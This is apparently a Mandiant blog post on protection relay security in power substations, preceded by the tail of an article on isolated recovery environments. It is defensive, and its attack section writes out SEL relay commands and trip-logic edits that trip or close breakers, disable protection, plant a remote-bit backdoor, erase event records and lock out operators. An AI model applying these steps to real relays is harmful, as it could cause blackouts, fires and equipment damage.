Local speed + cloud resilience; ideal for large orgs with critical workloads

More complex design; requires secure identity split and replication paths

Common Pitfalls

• Over-engineering for normal operations: The IRE is not a sandbox. Avoid mission creep.

• Using the IRE beyond cyber recovery: The IRE is not for DR testing, HA, or daily operations. Any non-incident use risks breaking its isolation and trust model.

• Assuming cloud equals isolation: Isolation requires deliberate configuration. Cloud tenancy is not enough.

• Neglecting insider threats: The IRE must defend against sabotage from inside the organization, not just ransomware.

Closing Thoughts

As attackers accelerate and the blast radius of intrusions expands, the need for trusted, tamper-proof recovery options becomes clear. An isolated recovery environment is not just a backup strategy, it is a resilience strategy.

It assumes breach. It accepts that visibility may be lost during a crisis. And it gives defenders a place to regroup, investigate, and rebuild.

The Mandiant M-Trends 2025 report makes it clear; the cost of ransomware isn't just in ransom paid, but in days or weeks of downtime, regulatory penalties, and reputation loss. The cost of building an IRE is less than a breach, and the peace of mind it offers is far greater.

For deeper technical guidance on building secure recovery workflows or assessing your current recovery posture, Mandiant Consulting offers strategic workshops and assessment services.

Acknowledgment

A special thanks to Glenn Staniforth for their contributions.

Written by: Seemant Bisht, Chris Sistrunk, Shishir Gupta, Anthony Candarini, Glen Chason, Camille Felx Leduc

Introduction — Why Securing Protection Relays Matters More Than Ever

Substations are critical nexus points in the power grid, transforming high-voltage electricity to ensure its safe and efficient delivery from power plants to millions of end-users. At the core of a modern substation lies the protection relay: an intelligent electronic device (IED) that plays a critical role in maintaining the stability of the power grid by continuously monitoring voltage, current, frequency, and phase angle. Upon detecting a fault, it instantly isolates the affected zone by tripping circuit breakers, thus preventing equipment damage, fire hazards, and cascading power outages.

As substations become more digitized, incorporating IEC 61850, Ethernet, USB, and remote interfaces, relays are no longer isolated devices, but networked elements in a broader SCADA network. While this enhances visibility and control, it also exposes relays to digital manipulation and cyber threats. If compromised, a relay can be used to issue false trip commands, alter breaker logic, and disable fault zones. Attackers can stealthily modify vendor-specific logic, embed persistent changes, and even erase logs to avoid detection. A coordinated attack against multiple critical relays can lead to a cascading failure across the grid, potentially causing a large-scale blackout.

This threat is not theoretical. State-sponsored adversaries have repeatedly demonstrated their capability to cause widespread blackouts, as seen in the INDUSTROYER (2016), INDUSTROYER.V2 (2022), and novel living-off-the-land technique (2022) attacks in Ukraine, where they issued unauthorized commands over standard grid protocols. The attack surface extends beyond operational protocols to the very tools engineers rely on; as Claroty's Team82 revealed a denial-of-service vulnerability in Siemens DIGSI 4 configuration software. Furthermore, the discovery of malware toolkits like INCONTROLLER shows attackers are developing specialized capabilities to map, manipulate, and disable protection schemes across multiple vendors.

Recent events have further underscored the reality of these threats, with the U.S. government warning of heightened risks of Iranian cyberattacks targeting vital networks in the wake of geopolitical tensions. Iran-nexus threat actors such as UNC5691 (aka CyberAv3ngers) have a history of targeting operational technology, in some cases including U.S. water facilities. Similarly, persistent threats from China, such as UNC5135, which at least partially overlaps with publicly reported Volt Typhoon activity, demonstrate a strategic effort to embed within U.S. critical infrastructure for potential future disruptive or destructive cyberattacks. The tactics of these adversaries, which range from exploiting weak credentials to manipulating the very logic of protection devices, make the security of protection relays a paramount concern.

These public incidents mirror the findings from our own Operational Technology (OT) Red Team simulations, which consistently reveal accessible remote pathways into local substation networks and underscore the potential for adversaries to manipulate protection relays within national power grids.

Protection relays are high-value devices, and prime targets for cyber-physical attacks targeting substation automation systems and grid management systems. Securing protection relays is no longer just a best practice; it's absolutely essential for ensuring the resilience of both transmission and distribution power grids.

Inside a Substation — Components and Connectivity

To fully grasp the role of protection relays within the substation, it's important to understand the broader ecosystem they operate in. Modern substations are no longer purely electrical domains. They are cyber-physical environments where IEDs, deterministic networking, and real-time data exchange work in concert to deliver grid reliability, protection, and control.

Core Components

• Protection & Control Relays (IEDs): Devices such as the SEL-451, Hitachi REL670, GE D60, and Siemens 7SJ85 serve as the brains of both protection and control. They monitor current, voltage, frequency, and phase angle, and execute protection schemes like:

• Overcurrent (ANSI 50/51)

• Distance protection (ANSI 21)

• Differential protection (ANSI 87)

• Under/over-frequency (ANSI 81)

• Synch-check (ANSI 25) 

• Auto-reclose (ANSI 79)

• Breaker failure protection (ANSI 50BF)

• Logic-based automation and lockout (e.g., ANSI 94)
  
  (Note: These ANSI function numbers follow the IEEE Standard C37.2 and are universally used across vendors to denote protective functions.)

• Circuit Breakers & Disconnectors: High-voltage switching devices operated by relays to interrupt fault current or reconfigure line sections. Disconnectors provide mechanical isolation and are often interlocked with breaker status to prevent unsafe operation.

• Current Transformers (CTs) & Potential Transformers (PTs): Instrument transformers that step down high voltage and current for safe and precise measurement. These form the primary sensing inputs for protection and metering functions.

• Station Human-Machine Interfaces (HMIs): Provide local visualization and control for operators. HMIs typically connect to relay networks via the station bus, offering override, acknowledgment, and command functions without needing SCADA intervention.

• Remote Terminal Units (RTUs) or Gateway Devices: In legacy or hybrid substations, RTUs aggregate telemetry from field devices and forward it to control centers. In fully digital substations, this function may be handled by SCADA gateways or station-level IEDs that natively support IEC 61850 or legacy protocol bridging.

• Time Synchronization Devices: GPS clocks or PTP servers are deployed to maintain time alignment across relays, sampled value streams, and event logs. This is essential for fault location, waveform analysis, and sequence of events (SoE) correlation.

Network Architecture

Modern digital substations are engineered with highly segmented network architectures to ensure deterministic protection, resilient automation, and secure remote access. These systems rely on fiber-based Ethernet communication and time-synchronized messaging to connect physical devices, intelligent electronics, SCADA systems, and engineering tools across three foundational layers.

Figure 1: Substation Network Architecture

Network Topologies: Substations employ redundant Ethernet designs to achieve high availability and zero-packet-loss communication, especially for protection-critical traffic.

Common topologies include:

• RSTP (Rapid Spanning Tree Protocol) – Basic redundancy by blocking loops in switched networks

• PRP (Parallel Redundancy Protocol) – Simultaneous frame delivery over two independent paths

• HSR (High-availability Seamless Redundancy) – Ring-based protocol that allows seamless failover for protection traffic

Communication Layers: Zones and Roles

Modern substations are structured into distinct functional network layers, each responsible for different operations, timing profiles, and security domains. Understanding this layered architecture is critical to both operational design and cyber risk modeling.

• Process Bus / Bay Level Communication

  • This is the most time-sensitive layer in the substation. It handles deterministic, peer-to-peer communication between IEDs (Intelligent Electronic Devices), Merging Units (MUs), and digital I/O modules that directly interact with primary field equipment.
    • Includes:
      • Protection and Control IEDs - Relay logic for fault detection and breaker actuation
      • MUs - Convert CT/PT analog inputs into digitized Sampled Values (SV)
      • IED I/O Modules - Digitally interface with trip coils and status contacts on breakers
      • Circuit Breakers, CTs, and PTs - Primary electrical equipment connected through MUs and I/O
      • Master clock or time source - Ensures time-aligned SV and event data using PTP (IEEE 1588) or IRIG-B
      • Protocols:
        • IEC 61850-8-1 (GOOSE) - Protection logic, trip/block signaling
        • IEC 61850-9-2 (SV) - Real-time sampled analog measurements
        • Time Sync (PTP/IRIG-B) - Sub-millisecond alignment across protection systems

• Station Bus / Substation Automation LAN (Supervisory and Control Layer)

  • The Station Bus connects IEDs, local operator systems, SCADA gateways, and the Substation Automation System (SAS). It is responsible for coordination, data aggregation, event recording, and forwarding data to control centers.
    • Includes:
      • SAS - Central event and logic manager
      • HMIs - Local operator access
      • Engineering Workstation (EWS) - Access point for authorized relay configuration and diagnostics
      • RTUs / SCADA Gateways - Bridge to EMS/SCADA networks
      • Managed Ethernet Switches (PRP/HSR) - Provide reliable communication paths
    • Protocols:
      • MMS (IEC 61850-8-1) - Relay supervision, config edits, event reporting, time sync
      • IEC 60870-5-104 / DNP3 - Upstream telemetry to control center
      • Modbus (legacy) - Field device communication
      • SNMP (secured) - Network health monitoring
    • Engineering Access (Role-Based, Cross-Layer): Engineering access is not a stand-alone communication layer but a privileged access path used by protection engineers and field technicians to perform maintenance, configuration, and diagnostics.
      • Access Components:
        • EWS - Direct relay interface via MMS or console
        • Jump Servers / VPNs - Controlled access to remote or critical segments
        • Terminal/ Serial Consoles - Used for maintenance and troubleshooting purposes

What Protection Relays Really Do

In modern digital substations, protection relays—more accurately referred to as IEDs—have evolved far beyond basic trip-and-alarm functions. These devices now serve as cyber-physical control points, responsible not only for detecting faults in real time but also for executing programmable logic, recording event data, and acting as communication intermediaries between digital and legacy systems.

At their core, IEDs monitor electrical parameters, such as voltage, current, frequency, and phase angle, and respond to conditions like overcurrent, ground faults, and frequency deviations. Upon fault detection, they issue trip commands to circuit breakers—typically within one power cycle (e.g., 4–20 ms)—to safely isolate the affected zone and prevent equipment damage or cascading outages.

• Beyond traditional protection: Modern IEDs provide a rich set of capabilities that make them indispensable in fully digitized substations.

  • Trip Logic Processing: Integrated logic engines (e.g., SELogic, FlexLogic, CFC) evaluate multiple real-time conditions to determine if, when, and how to trip, block, or permit operations.

  • Event Recording and Fault Forensics: Devices maintain Sequence of Events (SER) logs and capture high-resolution oscillography (waveform data), supporting post-event diagnostics and root-cause analysis.

  • Local Automation Capabilities: IEDs can autonomously execute transfer schemes, reclose sequences, interlocking, and alarm signaling often without intervention from SCADA or a centralized controller.

  • Protocol Bridging and Communication Integration: Most modern relays support and translate between multiple protocols, including IEC 61850, DNP3, Modbus, and IEC 60870-5-104, enabling them to function as data gateways or edge translators in hybrid communication environments.

• Application across the grid: These devices ensure rapid fault isolation, coordinated protection, and reliable operation across transmission, distribution, and industrial networks.

  • Transmission and distribution lines (e.g., SIPROTEC)

  • Power Transformers (e.g., ABB RET615)

  • Feeders, Motors and industrial loads (e.g., GE D60)

How Attackers Can Recon and Target Protection Relays

As substations evolve into digital control hubs, their critical components, particularly protection relays, are no longer isolated devices. These IEDs are now network-connected through Ethernet, serial-to-IP converters, USB interfaces, and in rare cases, tightly controlled wireless links used for diagnostics or field tools.

While this connectivity improves maintainability, remote engineering access, and real-time visibility, it also expands the cyberattack surface exposing relays to risks of unauthorized logic modification, protocol exploitation, or lateral movement from compromised engineering assets.

Reconnaissance From the Internet

Attackers often begin with open-source intelligence (OSINT), building a map of the organization's digital and operational footprint. They aren't initially looking for IEDs or substations; they're identifying the humans who manage them.

• Social Recon: Using LinkedIn, engineering forums, or vendor webinars, attackers look for job titles like "Substation Automation Engineer," "Relay Protection Specialist," or "SCADA Administrator."

• OSINT Targeting: Public resumes and RFI documents may reference software like DIGSI, PCM600, or AcSELerator. Even PDF metadata from utility engineering documents can reveal usernames, workstation names, or VPN domains.

• Infrastructure Scanning: Tools like Shodan or Censys help identify exposed VPNs, engineering portals, and remote access gateways. If these systems support weak authentication or use outdated firmware, they become initial entry points.

• Exploitation of Weak Vendor Access: Many utilities still use stand-alone VPN credentials for contractors and OEM vendors. These accounts often bypass centralized identity systems, lack 2FA, and are reused across projects.

Reconnaissance in IT — Mapping the Path to OT

Once an attacker gains a foothold within the IT network—typically through phishing, credential theft, or exploiting externally exposed services—their next objective shifts toward internal reconnaissance. The target is not just domain dominance, but lateral movement toward OT-connected assets such as substations or Energy Management Systems (EMS).

• Domain Enumeration: Using tools like BloodHound, attackers map Active Directory for accounts, shares, and systems tagged with OT context (e.g., usernames like scada_substation_admin, and groups like scada_project and scada_communication).

This phase allows the attacker to pinpoint high-value users and their associated devices, building a shortlist of engineering staff, contractors, or control center personnel who likely interface with OT assets.

• Workstation & Server Access: Armed with domain privileges and OT-centric intelligence, the attacker pivots to target the workstations or terminal servers used by the identified engineers. These endpoints are rich in substation-relevant data, such as:

  • Relay configuration files (.cfg, .prj, .set)

  • VPN credentials or profiles for IDMZ access

  • Passwords embedded in automation scripts or connection managers

  • Access logs or RDP histories indicating commonly used jump hosts

At this stage, the attacker is no longer scanning blindly; they're executing highly contextual moves to identify paths from IT into OT.

IDMZ Penetration — Crossing the Last Boundary

Using gathered VPN credentials, hard-coded SSH keys, or jump host details, the attacker attempts to cross into the DMZ. This zone typically mediates communication between IT and OT, and may be accessed via:

• Engineering jump hosts (dual-homed systems, often less monitored)

• Poorly segmented RDP gateways with reused credentials

• Exposed management ports on firewalls or remote access servers

Once in the IDMZ, attackers map accessible subnets and identify potential pathways into live substations.

Substation Discovery and Technical Enumeration

Once an attacker successfully pivots into the substation network often via compromised VPN credentials, engineering jump hosts, or dual-homed assets bridging corporate and OT domains—the next step is to quietly enumerate the substation landscape. At this point, they are no longer scanning broadly but conducting targeted reconnaissance to identify and isolate high-value assets, particularly protection relays.

Rather than using noisy tools like nmap with full port sweeps, attackers rely on stealthier techniques tailored for industrial networks. These include passive traffic sniffing and protocol-specific probing to avoid triggering intrusion detection systems or log correlation engines. For example, using custom Python or Scapy scripts, the attacker might issue minimal handshake packets for protocols such as IEC 61850 MMS, DNP3, or Modbus, observing how devices respond to crafted requests. This helps fingerprint device types and capabilities without sending bulk probes.

Simultaneously, MAC address analysis plays a crucial role in identifying vendors. Many industrial devices use identifiable prefixes unique to specific power control system manufacturers. Attackers often leverage this to differentiate protection relays from HMIs, RTUs, or gateways with a high degree of accuracy.

Additionally, by observing mirrored traffic on span ports or through passive sniffing on switch trunks, attackers can detect GOOSE messages, Sampled Values (SV), or heartbeat signals indicative of live relay communication. These traffic patterns confirm the presence of active IEDs, and in some cases, help infer the device's operational role or logical zone.

Once relays, protocol gateways, and engineering HMIs have been identified, the attacker begins deeper technical enumeration. At this stage, they analyze which services are exposed on each device such as Telnet, HTTP, FTP or MMS, and gather banner information or port responses that reveal firmware versions, relay models or serial numbers. Devices with weak authentication or legacy configurations are prioritized for exploitation.

The attacker may next attempt to log in using factory-set or default credentials, which are often easily obtainable from device manuals. Alarmingly, these credentials are often still active in many substations due to lax commissioning processes. If login is successful, the attacker escalates from passive enumeration to active control—gaining the ability to view or modify protection settings, trip logic, and relay event logs.

If the relays are hardened with proper credentials or access controls, attackers might try other methods, such as accessing rear-panel serial ports via local connections or probing serial-over-IP bridges linked to terminal servers. Some adversaries have even used vendor software (e.g., DIGSI, AcSELerator, PCM600) found on compromised engineering workstations to open relay configuration projects, review programmable logic (e.g., SELogic or FlexLogic), and make changes through trusted interfaces.

Another critical risk in substation environments is the presence of undocumented or hidden device functionality. As highlighted in CISA advisory ICSA-24-095-02, SEL 700-series protection relays were found to contain undocumented capabilities accessible to privileged users.

Separately, some relays may expose backdoor Telnet access through hard-coded or vendor diagnostic accounts. These interfaces are often enabled by default and left undocumented, giving attackers an opportunity to inject firmware, wipe configurations, or issue commands that can directly trip or disable breakers.

By the end of this quiet but highly effective reconnaissance phase, the attacker has mapped out the protection relay landscape, assessed device exposure, and identified access paths. They now shift from understanding the network to understanding what each relay actually controls, entering the next phase: process-aware enumeration.

Process-Aware Enumeration

Once attackers have quietly mapped out the substation network (identifying protection relays, protocol gateways, engineering HMIs, and confirming which devices expose insecure services) their focus shifts from surface-level reconnaissance to gaining operational context. Discovery alone isn't enough. For any compromise to deliver strategic impact, adversaries must understand how these devices interact with the physical power system.

This is where process-aware enumeration begins. The attacker is no longer interested in just controlling any relay they want to control the right relay. That means understanding what each device protects, how it's wired into the breaker scheme, and what its role is within the substation topology.

Armed with access to engineering workstations or backup file shares, the attacker reviews substation single-line diagrams (SLDs), often from SCADA HMI screens or documentation from project folders. These diagrams reveal the electrical architecture—transformers, feeders, busbars—and show exactly where each relay fits. Identifiers like "BUS-TIE PROT" or "LINE A1 RELAY" are matched against configuration files to determine their protection zone.

By correlating relay names with breaker control logic and protection settings, the attacker maps out zone hierarchies: primary and backup relays, redundancy groups, and dependencies between devices. They identify which relays are linked to auto-reclose logic, which ones have synch-check interlocks, and which outputs are shared across multiple feeders.

This insight enables precise targeting. For example, instead of blindly disabling protection across the board, which would raise immediate alarms, the attacker may suppress tripping on a backup relay while leaving the primary untouched. Or, they might modify logic in such a way that a fault won't be cleared until the disturbance propagates, creating the conditions for a wider outage.

At this stage, the attacker is not just exploiting the relay as a networked device. They're treating it as a control surface for the substation itself. With deep process context in hand, they move from reconnaissance to exploitation: manipulating logic, altering protection thresholds, injecting malicious firmware, or spoofing breaker commands and because their changes are aligned with system topology, they maximize impact while minimizing detection.

Practical Examples of Exploiting Protection Relays

The fusion of network awareness and electrical process understanding makes modern substation attacks particularly dangerous—and why protection relays, when compromised, represent one of the highest-value cyber-physical targets in the grid.

To illustrate how such knowledge is operationalized by attackers, let's examine a practical example involving the SEL-311C relay, a device widely deployed across substations. Note: While this example focuses on SEL, the tactics described here apply broadly to comparable relays from other major OEM vendors such as ABB, GE, Siemens, and Schneider Electric. In addition, the information presented in this section does not constitute any unknown vulnerabilities or proprietary information, but instead demonstrates the potential for an attacker to use built-in device features to achieve adversarial objectives.

Figure 2: Attack Vectors for a SEL-311C Protection Relay

Physical Access

If an attacker gains physical access to a protection relay, either through the front panel or by opening the enclosure they can trigger a hardware override by toggling the internal access jumper, typically located on the relay's main board. This bypasses all software-based authentication, granting unrestricted command-level access without requiring a login. Once inside, the attacker can modify protection settings, reset passwords, disable alarms, or issue direct breaker commands effectively assuming full control of the relay.

However, such intrusions can be detected, if the right safeguards are in place. Most modern substations incorporate electronic access control systems (EACS) and SCADA-integrated door alarms. If a cabinet door is opened without an authorized user logged as onsite (via badge entry or operator check-in), alerts can be escalated to dispatch field response teams or security personnel.

Relays themselves provide telemetry for physical access events. For instance, SEL relays pulse the ALARM contact output upon use of the 2ACCESS command, even when the correct password is entered. Failed authentication attempts assert the BADPASS logic bit, while SETCHG flags unauthorized setting modifications. These SEL WORDs can be continuously monitored through SCADA or security detection systems for evidence of tampering.

Toggling the jumper to bypass relay authentication typically requires power-cycling the device, a disruptive action that can itself trigger alarms or be flagged during operational review.

To further harden the environment, utilities increasingly deploy centralized relay management suites (e.g., SEL Grid Configurator, GE Cyber Asset Protection, or vendor-neutral tools like Subnet PowerSystem Center) that track firmware integrity, control logic uploads, and enforce version control tied to access control mechanisms.

In high-assurance deployments, relay configuration files are often encrypted, access-restricted, and protected by multi-factor authentication, reducing the risk of rollback attacks or lateral movement even if the device is physically compromised.

Command Interfaces and Targets

With access established whether through credential abuse, exposed network services, or direct hardware bypass the attacker is now in a position to issue live commands to the relay. At this stage, the focus shifts from reconnaissance to manipulation, leveraging built-in interfaces to override protection logic and directly influence power system behavior.

Here's how these attacks unfold in a real-world scenario:

• Manual Breaker Operation: An attacker can directly issue control commands to the relay to simulate faults or disrupt operations.

  • Example commands include:

    • ==>PUL OUT101 5 ; Pulse output for 5 seconds to trip breaker

    • =>CLO ; Force close breaker

    • =>OPE ; Force open breaker

  • These commands bypass traditional protection logic, allowing relays to open or close breakers on demand. This can isolate critical feeders, create artificial faults, or induce overload conditions—all without triggering standard fault detection sequences.

• Programmable Trip Logic Manipulation

  • Modern protection relays such as those from SEL (SELogic), GE (FlexLogic), ABB (CAP tools), and Siemens (CFC), support customizable trip logic through embedded control languages. These programmable logic engines enable utilities to tailor protection schemes to site-specific requirements. However, this powerful feature also introduces a critical attack surface. If an adversary gains privileged access, they can manipulate core logic equations to suppress legitimate trips, trigger false operations, or embed stealthy backdoors that evade normal protection behavior.
    
    One of the most critical targets in this logic chain is the Trip Request (TR) output, the internal control signal that determines whether the relay sends a trip command to the circuit breaker.
    
    This equation specifies the fault conditions under which the relay should initiate a trip. Each element represents a protection function or status input, such as zone distance, overcurrent detection, or breaker position and collectively they form the basis of coordinated relay response.
    
    In the relay operation chain, the TR equation is at the core of the protection logic.

Figure 3: TR Logic Evaluation within the Protection Relay Operation Chain

In SEL devices, for example, this TR logic is typically defined using a SELogic control equation. A representative version might look like this:

TR = M1P + Z1G + M2PT + Z2GT + 51GT + 51QT + 50P1 * SH0

Table 1 includes an explanation of each element.

Element

Description

M1P

Zone 1 Phase distance element, it trips on phase faults within Zone 1.

Z1G

Zone 1 Ground distance element, trips on ground faults within Zone 1

M2PT

Phase distance element from Channel M2, Phase Trip (could be Zone 2)

Z2GT

Zone 2 Ground distance Trip element, for ground faults in Zone 2

51GT

Time-overcurrent element for ground faults (ANSI 51G)

51QT

Time-overcurrent element for negative-sequence current (unbalanced faults)

50P1

Instantaneous phase overcurrent element (ANSI 50P) for Zone 1

SH0

Breaker status input, logic 1 when breaker is closed

Table 1: Elements of TR

In the control equation, the + operator means logical OR, and * means logical AND. Therefore, the logic asserts TR if:

• • • • • Any of the listed fault elements (distance, overcurrent) are active, or
        • An instantaneous overcurrent occurs while the breaker is closed.

In effect, the breaker is tripped:

• • • • • If a phase or ground fault is detected in Zone 1 or Zone 2
        • If a time-overcurrent condition develops
        • Or if there's an instantaneous spike while the breaker is in service

How Attackers Can Abuse the TR Logic

With editing access, attackers can rewrite this logic to suppress protection, force false trips, or inject stealthy backdoors.

Table 2 shows common logic manipulation variants.

Attack Type

Modified Logic

Effect

Disable All Trips

TR = 0

Relay never trips, even during major faults. Allows sustained short circuits, potentially leading to fires or equipment failure.

Force Constant Tripping

TR = 1, TRQUAL = 0

Relay constantly asserts trip, disrupting power regardless of fault status.

Impossible Condition

TR = 50P1 * !SH0

Breaker only trips when already open, a condition that never occurs.

Remove Ground Fault Detection

TR = M1P + M2PT + 50P1 * SH0

Relay ignores ground faults entirely, a dangerous and hard-to-detect attack.

Hidden Logic Backdoor

TR = original + RB15

Attacker can trigger trip remotely via RB15 (a Remote Bit), even without a real fault.

Table 2: TR logic bombs

Disable Trip Unlatching (ULTR)

• ULTR = 0
• Impact: Prevents the relay from resetting after a trip. The breaker stays open until manually reset, which delays recovery and increases outage durations.

Reclose Logic Abuse

• 79RI = 1 ; Reclose immediately
• 79STL = 0        ; Skip supervision logic
• Impact: Forces breaker to reclose repeatedly, even into sustained faults. Can damage transformer windings, burn breaker contacts, or create oscillatory failures.

LED Spoofing

• LED12 = !TRIP
• Impact: Relay front panel shows a "healthy" status even while tripped. Misleads field technicians during visual inspections.

Event Report Tampering

• =>EVE            ; View latest event
• =>TRI             ; Manually trigger report
• =>SER C        ; Clear Sequential Event Recorder
• Impact: Covers attacker footprints by erasing evidence. Removes Sequential Event Recorder (SER) logs and trip history. Obstructs post-event forensics.

Change Distance Protection Settings

• In the relay protection sequence, distance protection operates earlier in the decision chain, evaluating fault conditions based on impedance before the trip logic is executed to issue breaker commands.

Figure 4: Distance protection settings in a Relay Operation Chain

• Impact: Distance protection relies on accurately configured impedance reach (Z1MAG) and impedance angle (Z1ANG) to detect faults within a predefined section of a transmission line (typically 80–100% of line length for Zone 1). Manipulating these values can have the following consequences:
  • Under-Reaching: Reducing Z1MAG to 0.3 causes the relay to detect faults only within 30% of the line length, making it blind to faults in the remaining 70% of the protected zone. This can result in missed trips, delayed fault clearance, and cascading failures if the backup protection does not act in time.
  • Impedance Angle Misalignment: Changing Z1ANG affects the directional sensitivity and fault classification. If the angle deviates from system characteristics, the relay may misclassify faults or fail to identify high-resistance faults, particularly on complex line configurations like underground cables or series-compensated lines.
  • False Trips: In certain conditions, especially with heavy load or load encroachment, a misconfigured distance zone may interpret normal load flow as a fault, resulting in nuisance tripping and unnecessary outages.
  • Compromised Selectivity & Coordination: The distance element's coordination with other relays (e.g., Zone 2 or remote end Zone 1) becomes unreliable, leading to overlapping zones or gaps in coverage, defeating the core principle of selective protection.

Restore Factory Defaults

• =>>R_S
• Impact: Wipes all hardened settings, password protections, and customized logic. Resets the relay to an insecure factory state.

Password Modification for Persistence

• =>>PAS 1 <newpass>
• Impact: Locks out legitimate users. Maintains long-term attacker access. Prevents operators from reversing changes quickly during incident response.

What Most Environments Still Get Wrong

Despite increasing awareness, training, and incident response playbooks, many substations and critical infrastructure sites continue to exhibit foundational security weaknesses. These are not simply oversights—they're systemic, shaped by the realities of substation lifecycle management, legacy system inertia, and the operational constraints of critical grid infrastructure.

Modernizing substation cybersecurity is not as simple as issuing new policies or buying next-generation tools. Substations typically undergo major upgrades on decade-long cycles, often limited to component replacement rather than full network redesigns. Integrating modern security features like encrypted protocols, central access control, or firmware validation frequently requires adding computers, increasing bandwidth, and introducing centralized key management systems. These changes are non-trivial in bandwidth-constrained environments built for deterministic, low-latency communication—not IT-grade flexibility.

Further complicating matters, vendor product cycles move faster than infrastructure refresh cycles. It's not uncommon for new protection relays or firmware platforms to be deprecated or reworked before they're fully deployed across even one utility's fleet, let alone hundreds of substations.

The result? A patchwork of legacy protocols, brittle configurations, and incomplete upgrades that adversaries continue to exploit. In the following section, we examine some of the most critical and persistent gaps, why they still exist, and what can realistically be done to address them.

This section highlights the most common and dangerous security gaps observed in real-world environments.

1. Legacy Protocols Left Enabled
   • Relays often come with older communication protocols such as:
     • Telnet (unencrypted remote access)
     • FTP (insecure file transfer)
     • Modbus RTU/TCP (lacks authentication or encryption)
   • These are frequently left enabled by default, exposing relays to:
     • Credential sniffing
     • Packet manipulation
     • Unauthorized control commands
   • Recommendation: Where possible, disable legacy services and transition to secure alternatives (e.g., SSH, SFTP, or IEC 62351 for secured GOOSE/MMS). If older services must be retained, tightly restrict access via VLANs, firewalls, and role-based control.
2. IT/OT Network Convergence Without Isolation
   • Modern substations may share network infrastructure with enterprise IT environments:
     • VPN access to Substation networks
     • Shared switches or VLANs between SCADA systems and relay networks
     • Lack of firewalls or access control lists (ACLs)
   • This exposes protection relays to malware propagation, ransomware, or lateral movement from compromised IT assets.
   • Recommendation: Establish strict network segmentation using firewalls, ACLs, and dedicated protection zones. All remote access should be routed through Privileged Access Management (PAM) platforms with MFA, session recording, and Just-In-Time access control.
3. Default or Weak Relay Passwords
   • In red team and audit exercises, default credentials are still found in the field sometimes printed on the relay chassis itself.
     • Factory-level passwords like LEVEL2, ADMIN, or OPERATOR remain unchanged.
     • Passwords physically labeled on devices
     • Password sharing among field teams compromises accountability.
   • These practices persist due to operational convenience, lack of centralized credential management, and difficulty updating devices in the field.
   • Recommendation: Mandate site-specific, role-based credentials with regular rotation and enforced via centralized relay management tools. Ensure audit logging of all access attempts and password changes.
4. Built-in Security Features Left Unused
   • OEM vendors already provide a suite of built-in security features, yet these are rarely configured in production environments. Security features such as role-based access control (RBAC), secure protocol enforcement (e.g., HTTPS, SSH), user-level audit trails, password retry lockouts, and alert triggers (e.g., BADPASS or SETCHG bits) are typically disabled or ignored during commissioning. In many cases, these features are not even evaluated due to time constraints, lack of policy enforcement, or insufficient familiarity among field engineers.
     
     These oversight patterns are particularly common in environments that inherit legacy commissioning templates, where security features are left in their default or least-restrictive state for the sake of expediency or compatibility.
   • Recommendation: Security configurations must be explicitly reviewed during commissioning and validated periodically. At a minimum:
     • Enable RBAC and enforce user-level permission tiers.
     • Configure BADPASS, ALARM, SETCHG, and similar relay logic bits to generate real-time telemetry.
     • Use secure protocols (HTTPS, SSH, IEC 62351) where supported.
     • Integrate security bit changes and access logs into central SIEM or NMS platforms for correlation and alerting.
5. Engineering Laptops with Stale Firmware Tools
   • OEM vendors also release firmware updates to fix any known security vulnerabilities and bugs. However:
     • Engineering laptops often use outdated configuration software
     • Old firmware loaders may upload legacy or vulnerable versions
     • Security patches are missed entirely
   • Recommendation: Maintain hardened engineering baselines with validated firmware signing, trusted toolchains, and controlled USB/media usage. Track firmware versions across the fleet for vulnerability exposure.
6. No Alerting on Configuration or Logic Changes
   • Protection relays support advanced logic and automation features like SELogic and FlexLogic but in many environments, no alerting is configured for changes. This makes it easy for attackers (or even insider threats) to silently:
     • Modify protection logic
     • Switch setting groups
     • Suppress alarms or trips
   • Recommendation: Enable relay-side event-based alerting for changes to settings, logic, or outputs. Forward logs to a central SIEM or security operations platform capable of detecting unauthorized logic uploads or suspicious relay behavior.
7. Relays Not Included in Security Audits or Patch Cycles
   • Relays are often excluded from regular security practices:
     • Not scanned for vulnerabilities
     • Not included in patch management systems
     • No configuration integrity monitoring or version tracking
   • This blind spot leaves highly critical assets unmanaged, and potentially exploitable.
   • Recommendation: Bring protection relays into the fold of cybersecurity governance, with scheduled audits, patch planning, and configuration monitoring. Use tools that can validate settings integrity and detect tampering, whether via vendor platforms or third-party relay management suites.
8. Physical Tamper Detection Features Not Monitored
   • Many modern protection relays include hardware-based tamper detection features designed to alert operators when the device enclosure is opened or physically manipulated. These may include:
     • Chassis tamper switches that trigger digital inputs or internal flags when the case is opened.
     • Access jumper position monitoring, which can be read via relay logic or status bits.
     • Power cycle detection, especially relevant when jumpers are toggled (e.g., SEL relays require a power reset to apply jumper changes).
     • Relay watchdog or system fault flags, indicating unexpected reboots or logic resets post-manipulation.
   • Despite being available, these physical integrity indicators are rarely wired into the SCADA system or included in alarm logic. As a result, an attacker could open a relay, trigger the access jumper, or insert a rogue SD card—and leave no real-time trace unless other controls are in place.
   • Recommendation: Utilities should enable and monitor all available hardware tamper indicators:
     • Wire tamper switches or digital input changes into RTUs or SCADA for immediate alerts.
     • Monitor ALARM, TAMPER, SETCHG, or similar logic bits in relays that support them (e.g., SEL WORD bits).
     • Configure alert logic to correlate with badge access logs or keycard systems—raising a flag if physical access occurs outside scheduled maintenance windows.
     • Include physical tamper status as a part of substation security monitoring dashboards or intrusion detection platforms.

From Oversights to Action — A New Baseline for Relay Security

The previously outlined vulnerabilities aren't limited to isolated cases, they reflect systemic patterns across substations, utilities, and industrial sites worldwide. As the attack surface expands with increased connectivity, and as adversaries become more sophisticated in targeting protection logic, these security oversights can no longer be overlooked.

But securing protection relays doesn't require reinventing the wheel. It begins with the consistent application of fundamental security practices, drawn from real-world incidents, red-team assessments, and decades of power system engineering wisdom.

While these practices can be retrofitted into existing environments, it's critical to emphasize that security is most effective when it's built in by design, not bolted on later. Retrofitting controls in fragile operational environments often introduces more complexity, risk, and room for error. For long-term resilience, security considerations must be embedded into system architecture from the initial design and commissioning stages.

To help asset owners, engineers, and cybersecurity teams establish a defensible and vendor-agnostic baseline, Mandiant has compiled the "Top 10 Security Practices for Substation Relays," a focused and actionable framework applicable across protocols, vendors, and architectures.

In developing this list, Mandiant has drawn inspiration from the broader ICS security community—particularly initiatives like the "Top 20 Secure PLC Coding Practices" developed by experts in the field of industrial automation and safety instrumentation. While protection relays are not the same as PLCs, they share many characteristics: firmware-driven logic, critical process influence, and limited error tolerance.

